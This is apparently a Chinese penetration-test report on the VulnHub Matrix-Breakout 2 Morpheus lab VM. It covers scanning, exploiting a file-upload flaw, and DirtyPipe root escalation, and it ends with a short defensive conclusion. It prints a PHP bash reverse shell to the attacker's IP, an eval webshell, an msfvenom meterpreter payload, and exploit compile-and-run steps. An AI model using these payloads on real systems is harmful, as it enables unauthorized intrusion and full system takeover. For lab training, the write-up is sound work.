vulnhub-matrix-breakout-2-morpheus靶机的测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、信息搜集

2、Getshell

①nc反弹shell连接

②Webshell上传

3、提权

①使用kali自带的poc

②使用msf进行渗透

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.202.134)

靶 机:linux 5.10(192.168.202.147)

2、使用工具/软件

Kali:arp-scan(主机探测),nmap(扫描端口和服务),gobuster(目录扫描),Burp suite(抓包修改文件上传地址),nc(反弹shell连接),中国蚁剑(webshell连接),python3(开启http服务,下载poc到靶机),msf(对靶机进行监听,getshell,利用漏洞提权),msfvenom(生成msf反连的payload)

测试网址:http://192.168.202.147

二、测试目的

渗透靶机,通过文件上传功能getshell(通过nc和webshell两种方法),利用dirtypipe漏洞提取root权限(通过kali的poc和msf两种方法)。

三、操作过程

1、信息搜集

Arp探测主机,又快又准

bash 复制代码
arp-scan -l

Nmap扫描主机的端口和服务

bash 复制代码
nmap -A -p- -sS -T4 192.168.202.147

看一下网页,80端口是web页面;81端口是一个登录框

用gobuster对80端口进行扫描

bash 复制代码
gobuster dir -u http://192.168.202.147 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x php,html,txt,jsp

扫到了robots.txt目录,查看发现没有信息,让我继续找,扩大字典试试

bash 复制代码
gobuster dir -u http://192.168.202.147 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,jsp

这次使用更大的字典来遍历,这次扫出了graffiti.txt graffiti.php

查看graffiti.txt,只有些文字,不过graffiti.php就丰富多了

graffiti.php有提交框,抓包看看这是什么框

抓包,发现有message和file两个参数,改一下file的地址看能否文件上传

改为1.php,发现有php文件上传成功了

2、Getshell

有文件上传的漏洞,尝试上传php文件,进行nc反弹连接和webshell上传两种方法皆可。

①nc反弹shell连接

php 复制代码
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.202.134/666 0>&1'"); ?>

上传到文件getshell.php

Kali进行监听

bash 复制代码
nc -lvvp 666

web访问getshell.php

进行反弹shell连接

成功getshell

②Webshell上传

上传php一句话木马

bash 复制代码
<?php @eval($_POST['ccc']); ?>

抓包修改文件名为webshell.php,放包

使用蚁剑进行webshell连接

url地址:http://192.168.202.147/webshell.php

连接密码:ccc

成功连接!

在根目录下发现一个FLAG.txt,但是root文件夹进不去,权限不足,尝试提权

提示一个图片文件,但是没什么信息

3、提权

查看计划任务、权限、系统版本信息,发现Linux版本是5.10,这个版本有dirtypipe漏洞可利用

①使用kali自带的poc

搜索dirtypipe漏洞

bash 复制代码
searchsploit dirtypipe

查看路径,将poc文件复制到本目录下

bash 复制代码
locate linux/local/50808.c
cp /usr/share/exploitdb/exploits/linux/local/50808.c 50808.c

Kali使用python开启http服务,靶机下载poc

编译poc

bash 复制代码
gcc 50808.c -o shell

-o 指定编译后的文件名

尝试运行发现需要suid文件

找一下suid文件

现在运行exp

bash 复制代码
./shell /usr/bin/sudo

成功提权

②使用msf进行渗透

查找dirtypipe漏洞,查看参数,发现需要设置session

bash 复制代码
search dirtypipe      
use 0             
show options              

生成session

Msfvenom是msf用来生成payload的工具,使用msfvenom生成反向连接payloads

bash 复制代码
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.202.134 lport=4444 -f elf >~/test.elf

-p 指定payload(不确定靶机是x86/还是x64,可以生成32位payload,64位处理器兼容32位)

lhost kali IP

lport kali 端口

-f 指定生成文件类型

~/test.elf 是在本机的路径

攻击机使用python3开启http服务

在靶机下载test.elf文件

攻击机的msf使用监听模块

bash 复制代码
use exploit/multi/handler

设置payload

bash 复制代码
set payload linux/x86/meterpreter/reverse_tcp

设置地址参数(本机地址)

bash 复制代码
set lhost 192.168.202.134

设置端口参数(接收端口,与payload中一致)

bash 复制代码
set lport 4444

运行

bash 复制代码
run

靶机给payload执行权限并执行

bash 复制代码
chmod +x test.elf
./test.elf

可以获取到meterpreter

后台运行,生成session ID

bash 复制代码
bachground

现在利用exp

设置session和Payload option(LHOST)

bash 复制代码
set session 1
set lhost 192.168.202.134

运行即可获取root权限

四、结论

对文件上传点,一定要进行严格的过滤,没有过滤就很容易getshell。进行目录扫描的字典很重要,字典不对就扫不到网址,字典尽量多跑些。对于linux内核版本5.8~5.16,可以使用dirtypipe漏洞进行提权,由于是内核漏洞,因此危害极大,很难防护。

相关推荐
music score11 分钟前
Ubuntu编译fftw3
linux·ubuntu·postgresql
cozil1 小时前
CentOS常用命令收集
linux·运维·centos
薛定谔方程难1 小时前
【Linux】模拟实现一个shell
linux·运维·服务器
7yewh1 小时前
C语言刷题 LeetCode 30天挑战 (七)哈希计数法
linux·c语言·c++·嵌入式硬件·算法·leetcode·哈希算法
多多*2 小时前
OJ在线评测系统 后端 判题机模块预开发 架构分析 使用工厂模式搭建
java·linux·开发语言·前端·数据库·microsoft·架构
程序那点事儿3 小时前
open-resty 服务安装kafka插件
linux·分布式·nginx·kafka·lua·运维开发·openresty
小程爱敲代码3 小时前
Linux集群部署RabbitMQ
linux·运维·rabbitmq
托尔斯泰113 小时前
APISIX 联动雷池 WAF 实现 Web 安全防护
网络安全
zhangxueyi3 小时前
详解DNS工作原理及实例分析
linux·运维·服务器·dns